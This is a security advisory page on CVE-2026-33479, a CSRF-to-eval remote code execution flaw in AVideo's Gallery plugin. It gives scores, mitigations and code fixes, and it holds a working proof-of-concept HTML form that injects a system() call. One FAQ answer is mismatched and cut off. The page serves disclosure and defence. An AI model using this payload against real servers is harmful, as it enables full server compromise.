What is the CVSS score of CVE-2026-33479?

CVE-2026-33479 has a CVSS 3.1 base score of 8.8 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Which versions of PHP are affected by CVE-2026-33479?

AVideo Gallery plugin contains a critical remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands on affected servers by tricking administrators into…

How to fix or mitigate CVE-2026-33479?

Within 24 hours: Identify all AVideo installations using the Gallery plugin and disable the plugin immediately if not critical to operations; audit web server logs for suspicious POST requests to Gallery endpoints. Within 7 days: Implement network-based mitigations including WAF rules blocking eval() patterns and implementing strict Content Security Policy; conduct security awareness training emphasizing admin phishing risks given the CSRF vector. Within 30 days: Evaluate alternative gallery solutions or AVideo alternatives; establish a vulnerability monitoring process for this vendor; perform forensic analysis of logs to determine if exploitation has occurred.

PHP CVE-2026-33479

HIGH

Code Injection (CWE-94)

2026-03-20 https://github.com/WWBN/AVideo

GHSA-xggw-g9pm-9qhh

PHP RCE CSRF Code Injection

8.8

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.8 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Analysis Generated

Mar 20, 2026 - 20:46 vuln.today

CVE Published

Mar 20, 2026 - 20:44 nvd

HIGH 8.8

DescriptionGitHub Advisory

Summary

The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution - requiring only that an admin visits an attacker-controlled page.

Details

Vulnerable code - plugin/Gallery/view/saveSort.json.php:20-25:

php

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}

The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization - no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.

CSRF enablement - objects/include_config.php:134-137:

php

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.

No CSRF protection - The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.

Exploit chain:

Attacker crafts a page with an auto-submitting form targeting saveSort.json.php
Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None)
User::isAdmin() passes because the admin's session is present
The injected PHP code in the sections array value is passed to eval() and executes

PoC

Step 1: Host the following HTML on an attacker-controlled server:

html

<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

The base64 decodes to id;hostname.

Step 2: Lure an authenticated AVideo admin to visit the page.

Step 3: The eval on line 24 executes:

php

$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;

This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.

Expected result: The id and hostname commands execute on the server under the web server's user context.

Impact

Remote Code Execution - An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
Full server compromise - The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
Stealth - The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
Blast radius - Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.

Recommended Fix

Primary fix - Replace eval() with an allowlist check:

In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:

php

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
                        'Subscribe', 'Popular', 'LiveStream', 'Category',
                        'Program', 'Channel'];
    foreach ($_REQUEST['sections'] as $key => $value) {
        if (!in_array($value, $allowedSections, true)) {
            continue;
        }
        $obj->sectionsSaved[] = array($key => $value);
        $property = $value . 'Order';
        $object->$property = intval($key);
    }
    $obj->error = !$gallery->setDataObject($object);
}

This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.

Secondary fix - Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:

php

ini_set('session.cookie_samesite', 'Lax');

This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.

AnalysisAI

The Gallery plugin in AVideo contains an unauthenticated remote code execution vulnerability through CSRF-enabled PHP code injection. Attackers can exploit an eval() function that directly executes unsanitized user input by tricking an admin into visiting a malicious page, with the session cookie's SameSite=None configuration enabling cross-site request forgery. A detailed proof-of-concept exploit exists demonstrating command execution through crafted form submissions.

Technical ContextAI

This vulnerability affects the Gallery plugin component in the AVideo platform (pkg:composer/wwbn_avideo), specifically in the saveSort.json.php endpoint. The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection), where user-supplied values from the $_REQUEST['sections'] array are interpolated directly into PHP's eval() function without sanitization. The vulnerability is compounded by AVideo's explicit configuration of session cookies with SameSite=None in objects/include_config.php, which instructs browsers to send authentication cookies on cross-site requests. The endpoint checks User::isAdmin() but implements no CSRF token validation, Origin/Referer header checks, or X-Requested-With validation, creating a complete chain from CSRF to RCE.

RemediationAI

The primary fix is to replace the eval() function in plugin/Gallery/view/saveSort.json.php with an allowlist-based approach that validates section names against known values (Shorts, Trending, SiteSuggestion, Newest, Subscribe, Popular, LiveStream, Category, Program, Channel) and uses dynamic property access instead of code generation. As a secondary defense, modify objects/include_config.php to set session.cookie_samesite to 'Lax' instead of 'None', which prevents session cookies from being sent on cross-site POST requests and blocks the CSRF vector. Organizations should monitor the official GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh for patched versions. Until patches are applied, implement temporary mitigations including restricting admin access to trusted networks, deploying web application firewall rules to block suspicious saveSort.json.php requests, and educating administrators about the risk of clicking untrusted links while authenticated.